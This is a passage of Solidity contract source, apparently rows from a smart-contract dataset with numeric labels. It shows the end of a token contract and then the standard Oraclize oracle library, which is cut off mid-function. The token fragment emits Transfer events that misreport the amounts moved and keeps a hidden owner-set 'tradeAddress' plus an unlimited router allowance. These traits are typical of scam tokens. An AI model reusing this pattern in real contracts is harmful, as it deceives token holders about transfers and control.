uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 9 |
pragma solidity ^0.4.24;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
